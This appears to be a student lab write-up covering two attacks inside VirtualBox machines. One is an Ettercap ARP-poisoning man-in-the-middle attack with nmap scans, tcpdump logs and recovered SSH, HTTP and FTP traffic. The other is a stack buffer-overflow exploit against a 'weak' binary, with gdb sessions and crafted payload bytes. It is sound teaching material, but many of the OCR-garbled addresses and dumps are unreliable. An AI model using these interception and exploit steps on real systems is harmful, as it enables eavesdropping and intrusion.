

Part 1

Step1

1. The ip addresses of the victims are 10.229.100.53 and 10.229.100.147
 - o I figured this out by running the command:
 - \$ nmap -sn 10.229.100.0/24
 - -sn : tells nmap to only print out the available hosts that responded to the host discovery probes on the specified network

```
■ ~ nmap -sn 10.229.100.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-29 23:52 MDT
Nmap scan report for 10.229.100.53
Host is up (0.00051s latency).
MAC Address: 08:00:27:99:C0:36 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.229.100.147
Host is up (0.00040s latency).
MAC Address: 08:00:27:BD:06:E0 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.229.100.1
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.49 seconds
```

2. For the 10.229.100.53, it runs only ftp services

```
■ ~ nmap -sS -p 1-1000 10.229.100.53/32
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-30 00:05 MDT
Nmap scan report for 10.229.100.53
Host is up (0.00025s latency).
Not shown: 999 closed ports
PORT      STATE      SERVICE
21/tcp     filtered  ftp
MAC Address: 08:00:27:99:C0:36 (Oracle VirtualBox virtual NIC)
```

3. For the 10.229.100.147 victim it runs ssh and http services

```
■ ~ nmap -sS -p 1-1000 10.229.100.147/32
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-30 00:05 MDT
Nmap scan report for 10.229.100.147
Host is up (0.00078s latency).
Not shown: 998 closed ports
PORT      STATE      SERVICE
22/tcp     open       ssh
80/tcp     filtered  http
MAC Address: 08:00:27:BD:06:E0 (Oracle VirtualBox virtual NIC)
```

Step 2

- Attacker:
 - o Ip address: 10.229.100.1
 - o Mac address: 08:00:27:61:31:17
- Victim 1:
 - o ip address : 10.229.100.53
 - o Mac address: 08:00:27:99:c0:36

- Victim 2:
 - ip address : 10.229.100.147
 - Mac address:08:00:27:bd:06:e0
 - To start the ARP poisoning i ran the command:
 - Ettercap -T -i enp0s8 -M arp /10.229.100.53/10.229.100.147/

Arp activity During ettercap ARP poisoning

- We can see from the above input, with the arp poisoning that the attacker(10.229.100.1) sends a ARP request for both victims (10.229.100.53 and 10.229.100.147) in order to get their mac addresses. Then both victims reply with their mac addresses.

14:45:21.990208 00:09-27:61:31-17 > 00:09-27:99:0c:36, ethernet ARP (0x0000), length 40
14:45:21.990319 00:09-27:61:31-17 > 00:09-27:b4:06:06, ethernet ARP (0x0000), length 42: Ethernet (len 6) IPv4 (len 4), Request who-has 10.229.100.53 tell 10.229.100.1, length 28
14:45:21.990517 00:09-27:61:31-17 > 00:09-27:b4:06:06, ethernet ARP (0x0000), length 42: Ethernet (len 6) IPv4 (len 4), Request who-has 10.229.100.147 tell 10.229.100.1, length 28
14:45:21.990570 00:09-27:61:31-17 > 00:09-27:b4:06:06, ethernet ARP (0x0000), length 60: Ethernet (len 6) IPv4 (len 4) Reply 10.229.100.53 is at 00:09-27:99:0c:36, length 46
14:45:21.990570 00:09-27:61:31-17 > 00:09-27:b4:06:06, ethernet ARP (0x0000), length 60: Ethernet (len 6) IPv4 (len 4) Reply 10.229.100.147 is at 00:09-27:99:0c:36, length 46

- After this you will notice that the attacker then tells both victims that the mac address for the host they are trying to send packets too is his own(08:00:27:61:31:17), in order to intercept the packets sent.

14:45:27.166445	00:00:27:61:31:17	00:00:27:b6:06:e0	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.53 is at 00:00:27:61:31:17, length 28
14:45:27.166801	00:00:27:61:31:17	00:00:27:99:c0:36	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.147 is at 00:00:27:61:31:17, length 28
14:45:27.176531	00:00:27:61:31:17	00:00:27:c9:00:36	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.147 is at 00:00:27:61:31:17, length 28
14:45:27.176657	00:00:27:61:31:17	00:00:27:b6:06:e0	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.53 is at 00:00:27:61:31:17, length 28
14:45:37.189793	00:00:27:61:31:17	00:00:27:b6:06:e0	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.53 is at 00:00:27:61:31:17, length 28
14:45:37.190057	00:00:27:61:31:17	00:00:27:b6:06:e0	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.53 is at 00:00:27:61:31:17, length 28
14:45:37.19157	00:00:27:61:31:17	00:00:27:99:c0:36	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.147 is at 00:00:27:61:31:17, length 28
14:45:37.19185	00:00:27:61:31:17	00:00:27:b6:06:e0	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.53 is at 00:00:27:61:31:17, length 28
14:45:47.207422	00:00:27:61:31:17	00:00:27:b6:06:e0	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.53 is at 00:00:27:61:31:17, length 28
14:45:47.207456	00:00:27:61:31:17	00:00:27:c9:00:36	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.147 is at 00:00:27:61:31:17, length 28
14:45:47.207666	00:00:27:61:31:17	00:00:27:b6:06:e0	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.53 is at 00:00:27:61:31:17, length 28
14:45:47.212666	00:00:27:61:31:17	00:00:27:b6:06:e0	etherType ARP (0x0806)	length 42: Ethernet (len 64, tx 60) > IPv4 (len 4) > Reply 10.229.100.53 is at 00:00:27:61:31:17, length 28

- 08:00:27:61:31:17(attacker)>08:00:27:bd:06:e0(victim 2)
 - tells this victim that 10.229.100.53(victim 1) mac address is 08:00:27:61:31:17(attacker mac address).
 - 08:00:27:61:31:17(attacker)>08:00:27:99:c0:36(victim 1)
 - tells this victim that 10.229.100.147(victim 2) mac address is 08:00:27:61:31:17(attacker mac address).

Arp activity after ettercap ARP poisoning

- Just before ettercap ends the ARP poisoning, it does something called ARP cleansing, where it tells each victims the correct mac address of the other victim

```
tcpdump -l -i enp0s8 -en -vv | grep ARP
tcpdump: listening on enp0s8, link-type EN10MB (Ethernet), snapshot length 262144 bytes
14:47:33.697507 08:00:27:61:31:17 > 08:00:27:bd:06:e0, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.53 is-at 08:00:27:99:c0:36, length 28
14:47:33.697554 08:00:27:61:31:17 > 08:00:27:99:c0:36, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.147 is-at 08:00:27:bd:06:e0, length 28
14:47:33.707898 08:00:27:61:31:17 > 08:00:27:99:c0:36, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.147 is-at 08:00:27:bd:06:e0, length 28
14:47:33.707922 08:00:27:61:31:17 > 08:00:27:bd:06:e0, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.53 is-at 08:00:27:99:c0:36, length 28
14:47:34.716219 08:00:27:61:31:17 > 08:00:27:99:c0:36, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.53 is-at 08:00:27:99:c0:36, length 28
14:47:34.716258 08:00:27:61:31:17 > 08:00:27:99:c0:36, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.147 is-at 08:00:27:bd:06:e0, length 28
14:47:34.728425 08:00:27:61:31:17 > 08:00:27:bd:06:e0, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.53 is-at 08:00:27:99:c0:36, length 28
14:47:34.728536 08:00:27:61:31:17 > 08:00:27:bd:06:e0, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.147 is-at 08:00:27:bd:06:e0, length 28
14:47:35.736776 08:00:27:61:31:17 > 08:00:27:99:c0:36, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.53 is-at 08:00:27:99:c0:36, length 28
14:47:35.736811 08:00:27:61:31:17 > 08:00:27:99:c0:36, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.147 is-at 08:00:27:bd:06:e0, length 28
14:47:35.749005 08:00:27:61:31:17 > 08:00:27:99:c0:36, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.147 is-at 08:00:27:bd:06:e0, length 28
14:47:35.749034 08:00:27:61:31:17 > 08:00:27:bd:06:e0, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 10.229.100.53 is-at 08:00:27:99:c0:36, length 28
C12 packets captured
12 packets received by filter
0 packets dropped by kernel
```

- 08:00:27:61:31:17(attacker)>08:00:27:bd:06:e0(victim 2)
 - tells this victim that 10.229.100.53(victim 1) mac address is 08:00:27:99:c0:36 (the actual mac address of victim 1)
 - 08:00:27:61:31:17(attacker)>08:00:27:99:c0:36(victim 1)
 - tells this victim that 10.229.100.147(victim 2) mac address is 08:00:27:bd:06:e0(the actual mac address of victim 2).

SSH Connection

- The first ssh connection is established at about 18 seconds, from 10.229.100.53(client) on port 37142 to 10.229.100.147(server) on port 22 then every minute after that this ssh connection is reestablished. A series of encrypted packets which cannot be decrypted was sent between the client and the server. I saved the whole transmission payload into a file named “sshConnection”
 - To get the whole transmission file
 - To reconstruct this payload(file) from the .pcap file, I right clicked on one of the connections, clicked follow tcp stream, viewed the stream as ASCII, then saved it.
 - The first two transmissions is the client and server both telling each other their versions of ssh
 - The next two transmissions is the client and server letting each other know the king of key generation algorithms they both accommodate.
 - The next two transmissions, they agree on an elliptic curve DH key exchange, the client send his portion of the key exchange

- algorithm and the client uses that to calculate the key and sends it back to the client encrypted.
- The next transmission the client sends new keys, just incase the server pick a weak key encryption method like cbc
- The remaining transmissions are all encrypted packets which cannot be decrypted

HTTP Connection

- The first http connection is established at about 4 minutes in ,from 10.229.100.53(client) on port 43120 to 10.229.100.147(server) on port 80 then every 5 minutes after this http connection is reestablished. An audio file named Groovy.mp3 is sent to the client from the server(at the request of the client).
 - Firstly i had to filter the pcap capture by “http-request” to see what files the client was interested in
 - Then i right clicked on the in the traffic, click export objects and i was able to save it directly

FTP Connection

- The first http connection is established and completed at about 41 seconds in ,from 10.229.100.147(client) on port 52164 to 10.229.100.53(server) on port 21 then every 2 minutes after this ftp connection is reestablished. A csv file named Stats.csv is sent to the client from the server(at the request of the client).
 - Firstly i filtered the pcap file by “ftp-data” to view the files being sent.
 - To reconstruct this payload(file) from the .pcap file, I right clicked on one of the connections, clicked follow tcp stream, viewed the stream as raw data, then saved it as a .csv file.

YOU MAY IGNORE THE PART 2 SINCE WE ALREADY DEMOED

Part 2

1. The program does basic transformation of strings imputed into leet code.

```
[Inferior 1 (process 631) exited with code 02]
(gdb)
(gdb) run
Starting program: /root/ass3/weak
kill
<11
[Inferior 1 (process 632) exited with code 04]
(gdb) run
Starting program: /root/ass3/weak
aab
448
[Inferior 1 (process 633) exited with code 04]
(gdb) run
Starting program: /root/ass3/weak
apple
4>>13
[Inferior 1 (process 634) exited with code 06]
(gdb) run
Starting program: /root/ass3/weak
leet
1337
[Inferior 1 (process 635) exited with code 05]
(gdb)
```

○

○

2. The buffer size is 8 bytes

- I created an input file with perl
 - perl -e 'print pack("C*", 0x20..0x7E)' > testInput

```
[root@BaseMachine ass3]# hexdump -C testInput
00000000  20 21 22 23 24 25 26 27  28 29 2a 2b 2c 2d 2e 2f  | ! "#$%&' ()**,-./|
00000010  30 31 32 33 34 35 36 37  38 39 3a 3b 3c 3d 3e 3f  | 0123456789:;<=>?`|
00000020  40 41 42 43 44 45 46 47  48 49 4a 4b 4c 4d 4e 4f  | @ABCDEFGHIJKLMNO!|
00000030  50 51 52 53 54 55 56 57  58 59 5a 5b 5c 5d 5e 5f  | PQRSTUVWXYZ[N]^_|_
00000040  60 61 62 63 64 65 66 67  68 69 6a 6b 6c 6d 6e 6f  | `abcdefghijklmnol|
00000050  70 71 72 73 74 75 76 77  78 79 7a 7b 7c 7d 7e    | pqrstuvwxyz{}`~|
```
- I ran gdb ./weak
- Supplied the input
 - r < testInput
 - Then realised i got a segfault when trying to access the address 0x33...

```
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./weak...
(No debugging symbols found in ./weak)
(gdb) r < testInput
Starting program: /root/ass3/weak < testInput
!"#$%&

Program received signal SIGSEGV, Segmentation fault.
0x080485b2 in ?? ()
(gdb) bt
#0 0x080485b2 in ?? ()
Backtrace stopped: Cannot access memory at address 0x3332312c
(gdb)
```

- So the buffer size should 8 bytes, cause the program only segfaults after 8 characters were input.

3.How i got the function call

Getting the address of the function

- I used readelf to dump all the strings in the .rodata section , to get the offset of the string i want to print out("flag of group 03")
 - \$ readelf -p .rodata weak

```
String dump of section '.rodata':
[ 0] 81 Flag of group 01
[ 1] 191 Flag of group 02
[ 2] 2a1 Flag of group 03
[ 3] 3b1 Flag of group 04
[ 4] 4c1 Flag of group 05
[ 5] 5d1 Flag of group 06
[ 6] 6e1 Flag of group 07
[ 7] 7f1 Flag of group 08
[ 8] 901 Flag of group 09
[ 9] a11 Flag of group 10
[10] b21 Flag of group 11
[11] c31 Flag of group 12
[12] d41 Flag of group 13
[13] e51 FATAL: kernel too old\n
[14] fc1 FATAL: cannot determine kernel version\n
[15] 1241 dwarf\n
```

- Then i got the address of the .rodata section of the weak executable
 - \$ readelf --sections weak

```
Iroot@BaseMachine ass31# readelf --sections weak
There are 24 section headers, starting at offset 0x86084:
Section Headers:
  [Nr] Name           Type     Addr     Off      Size    ES Flg Lk Inf Al
  [ 0] .note.ABI-tag NOTE     00000000 000000 000000 00  A 0 0 4
  [ 1] .note.RELI-tag NOTE     00048044 0000d4 000020 00  A 0 0 4
  [ 2] .init          PROGBITS 000480f4 0000f4 000030 00  AX 0 0 4
  [ 3] .text          PROGBITS 00048130 000130 0669ac 00  AX 0 0 16
  [ 4] __libc_freeres_fn PROGBITS 00048ac0 066aef 00158a 00  AX 0 0 16
  [ 5] .fini          PROGBITS 000bb06c 06b90c 00001c 00  AX 0 0 4
  [ 6] .rodata         PROGBITS 000bb0a0 06b9a0 017a4c 00  A 0 0 32
  [ 7] __libc_atexit  PROGBITS 000c7aec 07f1ac 000004 00  A 0 0 4
  [ 8] __libc_subfreeres PROGBITS 000c75f0 07f6f9 00002c 00  A 0 0 4
  [ 9] eh_frame       PROGBITS 000c7b1c 07f1bc 004660 00  A 0 0 4
  [10] .gcc_except_table PROGBITS 000cc17c 00417c 00012b 00  A 0 0 1
  [11] .idata          PROGBITS 000cd2ab 0042ab 000010 00  WA 0 0 4
  [12] .tss            NOBITS   000cd2b8 0042b8 000018 00  WA 0 0 4
  [13] .ctors          PROGBITS 000cd2b8 0042b8 000008 00  WA 0 0 4
  [14] .dtors          PROGBITS 000cd2c0 0042c0 00000c 00  WA 0 0 4
  [15] .jcr            PROGBITS 000cd2c2 0042c2 000004 00  WA 0 0 4
  [16] .data.rel.ro   PROGBITS 000cd2d0 0042d0 00002c 00  WA 0 0 4
  [17] .got             PROGBITS 000cd2fc 0042fc 000008 04  WA 0 0 4
  [18] .got.plt        PROGBITS 000cd304 004304 00000c 04  WA 0 0 4
  [19] .data           PROGBITS 000cd320 004320 0007c0 00  WA 0 0 32
  [20] .bss            NOBITS   000cd3ae0 0043ae0 001c18 00  WA 0 0 32
  [21] __libc_freerl... NOBITS   000cf6f8 0043ae0 000014 00  WA 0 0 4
  [22] .comment        PROGBITS 00000000 0043ae0 0014be 00  0 0 1
  [23] .shstrtab       STRTAB   00000000 005f90 0000e4 00  0 0 1
```

- Adding the offset of the flag to the address of the .rodata will give us the address of the flag(0x080b00ca)
- Then i ran objdump on the weak executable to examine the assembly, and search for where the flag address is called, to get the address of the instruction prints out the flag which is 0x08048261

- \$ objdump -d weak

```
129 804824e: e8 8d 17 00 00    call  0x80499e0
130 8048253: 03 c4 10          add   $0x10,%esp
131 8048256: c9                leave 
132 8048257: c3                ret    
133 8048258: 55                push  %ebp
134 8048259: 89 e5              mov   %esp,%ebp
135 804825b: 83 ec 08          sub   $0xd,%esp
136 804825e: 83 ec 0c          sub   $0xc,%esp
137 8048261: 60 ca 00 eb 08    push  $0x00000000
138 8048266: e8 75 17 00 00    call  0x80499e0
139 804826b: 83 c4 10          add   $0x10,%esp
140 804826e: c9                leave 
141 804826f: c3                ret    
142 8048270: 55                push  %ebp
143 8048271: 89 e5              mov   %esp,%ebp
144 8048273: 83 ec 08          sub   $0xd,%esp
145 8048276: 83 ec 0c          sub   $0xc,%esp
```

Finding out how to call it

- When i ran my initial text input, i got a seg-fault at 0x080485b2, so i examined what was going on there.

```
310 80485a2: 36
341 80485a3: e8 38 14 00 00    push  %eax
342 80485a8: 83 c4 10          call  0x80499e0
343 80485ab: 8b 4d fc          add   $0x10,%esp
344 80485ae: c9                mov   -0x4(%ebp),%ecx
345 80485af: 8d 61 fc          leave 
346 80485b2: c3                lea   -0x4(%ecx),%esp
347 80485b3: cc                ret
```

- I noticed that on the stack the value at ecx is subtracted by 4bytes and put into esp(this is what i am interested in)
- So i need to get the address of my input so i can set it into my exploit, so i can tell the program where to go.

```
00000010
[roo@BaseMachine ass3]# echo -n -e '1111111111111111\xbc\xd1\xff\xff\x61\x82\x04\x08' > exploit_input
[roo@BaseMachine ass3]# hexdump -C exploit_input
00000000 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 |1111111111111111|
00000010 bc d1 ff ff 61 82 04 08                         |....a...|
00000018
[roo@BaseMachine ass3]# gdb -weak
```

- I further examined the stack to see where my input was

```
(gdb) x/256x 0xfffffd114
0xfffffd114: 0x080cd3e0 0xf7ff7001 0x0000000a 0x080c4480
0xfffffd124: 0x07ff6000 0x0000000a 0xfffffd158 0x0806b138
0xfffffd134: 0x080cd480 0x77f6000 0x0000000a 0xfffffd1a5
0xfffffd144: 0x0000000a 0x0000000a 0x00000009 0x08040830
0xfffffd154: 0x080cd480 0xfffff188 0x00049b0c 0x080cd480
0xfffffd164: 0x0000000a 0x00000009 0x00000000 0x00000001
0xfffffd174: 0x0800c3d4 0x00000009 0x00000000 0x08048c20
0xfffffd184: 0x08048c60 0xfffffd1b8 0x080485a8 0xfffffd1a4
0xfffffd194: 0x080cd304 0xfffffd1a8 0x08048120 0xfffffd244
0xfffffd1a4: 0x6c6c6c6c 0x6c6c6c6c 0x00000008 0x31048261
0xfffffd1b4: 0xfffffd1b4 0xfffffd200 0x08048724 0x08048c20
0xfffffd1c4: 0x08048c60 0xfffffd218 0x08048724 0x00000001
0xfffffd1d4: 0xfffffd244 0xfffffd24c 0x00000000 0x08048c20
0xfffffd1e4: 0x08048c60 0xfffffd218 0x0fa3a1ff 0x0904d810
0xfffffd1f4: 0x00000000 0x00000000 0x00000000 0x00000000
0xfffffd204: 0x00000000 0x1ff00000 0x00000000 0x00000001
```

- Noticed that my input started from 0xfffffd1a4 (leet transformation of 1 is l which is 6c)
- Now i can set the value of return address(which will be set to esp) to any address of input, after trying out different positions, i was able to successfully find a suitable position for return address

```
00000010
[roo@BaseMachine ass3]# echo -n -e '1111111111111111\xbc\xd1\xff\xff\x61\x82\x04\x08' > exploit_input
[roo@BaseMachine ass3]# hexdump -C exploit_input
00000000 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 |1111111111111111|
00000010 bc d1 ff ff 61 82 04 08                         |....a...|
00000018
[roo@BaseMachine ass3]# gdb -weak
0xfffffd104: 0x08048c60 0x1ffffd1a8 0x080485a8 0x1ffffd1a4
0xfffffd194: 0x080cd304 0xfffffd1a8 0x08048120 0xfffffd244
0xfffffd1a4: 0x6c6c6c6c 0x6c6c6c6c 0x00000008 0x31313131
0xfffffd1b4: 0xfffffd1b0 0x08048261 0x08048700 0x08048c20
0xfffffd1c4: 0x08048c60 0xfffffd218 0x08048724 0x00000001
0xfffffd1d4: 0xfffffd244 0xfffffd24c 0x00000000 0x08048c20
0xfffffd1e4: 0x08048c60 0xfffffd218 0x0fa3a1ff 0x0904d810
```

- At address 0xfffffd1b8, but in my exploit it is written as bc, because before this is set to the esp 4 bytes is subtracted from it

4. After various trial and error methods, I finally got the exploit to call and exit the function properly

```
[root@BaseMachine ass3]# echo -n -e '1111111111111111\xc0\xd1\xff\xff\xbc\xd1\xff\xff\x61\x82\x04\x08\x47\x23\x05\x08' > exploit_input
[root@BaseMachine ass3]# hexdump -C exploit_input
00000000  31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 |1111111111111111|
00000010  c0 d1 ff ff bc d1 ff ff 61 82 04 08 47 23 05 08 |.....a...G#.|
00000020
```

The first 16 bytes overwrites the buffer and extra paddings, the next 4 bytes is the address where the function that exits my program exists(at 0xffffd1c0), the next 4 bytes contains the address of where the function that calls the function that prints my flag exists(0xffffd1bc). The next 4 bytes is the address (0xffffd1b8 note is subtracted 4 according to the function) which has the value of the function that prints my function. Then the last 4 bytes is the address (0xffffd1c0) which has the value of the function that exits the program successfully.

(yab) x/z350x 0xffffffff				
0xfffffd114:	0x080cd3e0	0xf7ff7001	0x0000000a	0x080cd480
0xfffffd124:	0xf7ff6000	0x0000000a	0x00000011	0x08069a85
0xfffffd134:	0x00000001	0xf7ff6000	0x00000011	0xfffffd1a5
0xfffffd144:	0x0000000a	0x00000011	0x080cd480	0xf7ff6000
0xfffffd154:	0x0000000a	0xfffffd184	0x0806b138	0x080cd480
0xfffffd164:	0xf7ff6000	0x00000011	0x00000000	0x00000011
0xfffffd174:	0x00000011	0x00000010	0x080d0830	0x080cd480
0xfffffd184:	0xfffffd1b4	0x08049b0c	0x080cd480	0x0000000a
0xfffffd194:	0x00000010	0x00000000	0x00000001	0x080ce3d4
0xfffffd1a4:	0x00000010	0x00000000	0x08048c20	0x08048c60
0xfffffd1b4:	0xfffffd1b4	0x0804826b	0x080b00ca	0x08052343
0xfffffd1c4:	0x08048c00	0xfffffd218	0x08048724	0x00000001
0xfffffd1d4:	0xfffffd244	0xfffffd24c	0x00000000	0x08048c20

The pictures below are the various screen shots of the examinations i did and trial and errors to finally figure this out

```

Quit anyway? (y or n) y
[root@BaseMachine ass3]# echo -n -e '1111111111111111\xc0\xd1\xff\xff\x47\x23\x05\x00\x61\x82\x04\x00\x47\x23\x05\x00aaaaBBBBCCCCDDDEEEE' > exploit_input
[root@BaseMachine ass3]# gdb .weak
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./weak...
(No debugging symbols found in ./weak)
(gdb) r < exploit_input
Starting program: /root/ass3/weak < exploit_input
[11111111]
Flag of group 03

Program received signal SIGSEGV, Segmentation fault.
0x1400c000 in ?? ()
(gdb) bt
#0 0x1400c000 in ?? ()
#1 0x005eb890 in ?? ()
#2 0xb0c0d0000 in ?? ()
#3 0xffff0013d in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) info r
eax          0x11          17
ecx          0x11          17
edx          0xb0ce3d4    135062484
ebx          0x0            0
esp          0xb05234f    0xb05234f
ebp          0x1b8          0xb8
esi          0xb048c20    134515744
edi          0xb048c60    134515808
eip          0xf480cd00   0x1400c000
eflags        0x10286     [ PF SF IF RF ]
cs           0x23          35
ss           0x2b          43
ds           0x2b          43
es           0x2b          43
fs           0x0            0
gs           0x63          99
(gdb) ...

```

```

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./weak...
(No debugging symbols found in ./weak)
(gdb) b *0x804826e
Breakpoint 1 at 0x804826e
(gdb) r < exploit_input
Starting program: /root/ass3/weak < exploit_input
11111111
Flag of group 03

Breakpoint 1, 0x0804826e in ?? ()
(gdb) x/1i 0x804826e
=> 0x0804826e: leave
(gdb) info r
eax          0x11          17
ecx          0x11          17
edx          0xb0ce3d4    135062484
ebx          0x0            0
esp          0xffffd1cc   0xffffd1cc
ebp          0xb05233f    0xb05233f
esi          0xb048c20    134515744
edi          0xb048c60    134515808
eip          0x0804826e   0x0804826e
eflags        0x286       [ PF SF IF ]
cs           0x23          35
ss           0x2b          43
ds           0x2b          43
es           0x2b          43
fs           0x0            0
gs           0x63          99
(gdb) ni
0x0804826f in ?? ()
(gdb) x/1i 0x804826f
=> 0x0804826f: ret
(gdb) info r
eax          0x11          17
ecx          0x11          17
edx          0xb0ce3d4    135062484
ebx          0x0            0
esp          0xb052343    0xb052343
ebp          0xfcbb04    0xfcbb04
esi          0xb048c20    134515744
edi          0xb048c60    134515808
eip          0x0804826f   0x0804826f
eflags        0x286       [ PF SF IF ]
cs           0x23          35
ss           0x2b          43
ds           0x2b          43
es           0x2b          43
fs           0x0            0
gs           0x63          99
(gdb) ...

```

- This was when i figured out the leave instruction sets the value of(ebp + 4 to esp)


```

Breakpoint 1 at 0x804826e
(gdb) r < exploit_input
Starting program: /root/ass3/weak < exploit_input
11111111
Flag of group 03

Breakpoint 1, 0x0804826e in ?? ()
(gdb) x/1i 0x804826e
=> 0x804826e:    leave
(gdb) info r
eax          0x11          17
ecx          0x11          17
edx          0x80ce3d4      135062484
ebx          0x0           0
esp          0xfffffd1cc      0xfffffd1cc
ebp          0x805233f      0x805233f
esi          0x8048c20      134515744
edi          0x8048c60      134515808
eip          0x804826e      0x804826e
eflags        0x286         [ PF SF IF ]
cs           0x23          35
ss           0x2b          43
ds           0x2b          43
es           0x2b          43
fs           0x0           0
gs           0x63          99
(gdb) ni
0x0804826f in ?? ()
(gdb) x/1i 0x804826f
=> 0x804826f:    ret
(gdb) info r
eax          0x11          17
ecx          0x11          17
edx          0x80ce3d4      135062484
ebx          0x0           0
esp          0x8052343      0x8052343
ebp          0xfcfc804      0xfcfc804
esi          0x8048c20      134515744
edi          0x8048c60      134515808
eip          0x804826f      0x804826f
eflags        0x286         [ PF SF IF ]
cs           0x23          35
ss           0x2b          43
ds           0x2b          43
es           0x2b          43
fs           0x0           0
gs           0x63          99
(gdb) ni
0x00cd0000 in ?? ()
(gdb) info r
eax          0x11          17
ecx          0x11          17
edx          0x80ce3d4      135062484
ebx          0x0           0
esp          0x8052347      0x8052347
ebp          0xfcfc804      0xfcfc804
esi          0x8048c20      134515744
edi          0x8048c60      134515808
eip          0x80cd0000      0x80cd0000
eflags        0x286         [ PF SF IF ]
cs           0x23          35
ss           0x2b          43
ds           0x2b          43
es           0x2b          43
fs           0x0           0
gs           0x63          99
(gdb) q
A debugging session is active.

Inferior 1 [process 661] will be killed.

Quit anyway? (y or n)

```

- After further examination i was notice that at this point, the

```
(gdb) x/256x 0xffffffff
0xfffffd114: 0x080cd3e0    0xf7ff7001    0x0000000a    0x080cd480
0xfffffd124: 0xf7ff6000    0x0000000a    0x00000011    0x08069a85
0xfffffd134: 0x00000001    0xf7ff6000    0x00000011    0xfffffd1a5
0xfffffd144: 0x0000000a    0x00000011    0x080cd480    0xf7ff6000
0xfffffd154: 0x0000000a    0xfffffd184    0x0806b138    0x080cd480
0xfffffd164: 0xf7ff6000    0x00000011    0x00000000    0x00000011
0xfffffd174: 0x00000011    0x00000010    0x080d0830    0x080cd480
0xfffffd184: 0xfffffd1b4    0x08049b0c    0x080cd480    0x0000000a
0xfffffd194: 0x00000010    0x00000000    0x00000001    0x080ce3d4
0xfffffd1a4: 0x00000010    0x00000000    0x08048c20    0x08048c60
0xfffffd1b4: 0xfffffd1b4    0x0804826b    0x080b00ca    0x08052343
0xfffffd1c4: 0x08048c00    0xfffffd218    0x08048724    0x00000001
0xfffffd1d4: 0xfffffd244    0xfffffd24c    0x00000000    0x08048c20
```

```
Quit anyway? (y or n) y
[roote@BaseMachine ass3]# echo -n -e '1111111111111111\nc0\xd1\xff\xff\xbc\xd1\xff\xff\x61\x82\x04\x08\x47\x23\x05\x08' > exploit_input
[roote@BaseMachine ass3]# gdb ./weak
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./weak...
(No debugging symbols found in ./weak)
(gdb) r < exploit_input
Starting program: /root/ass3/weak < exploit_input
11111111
Flag of group 03
[Inferior 1 (process 701) exited normally]
(gdb)
```

5. Getting the program to exit successfully

I noticed after the the function that prints out the flag, the program would try to return to what ever was immediately before the address of the function that prints out the flag in the stack.

```
Breakpoint 1, 0x00048261 in ?? ()
(gdb) info registers
eax      0xa          10
ecx      0xfffffd1bc   -11844
edx      0x00ce3d4    135062484
ebx      0x0            0
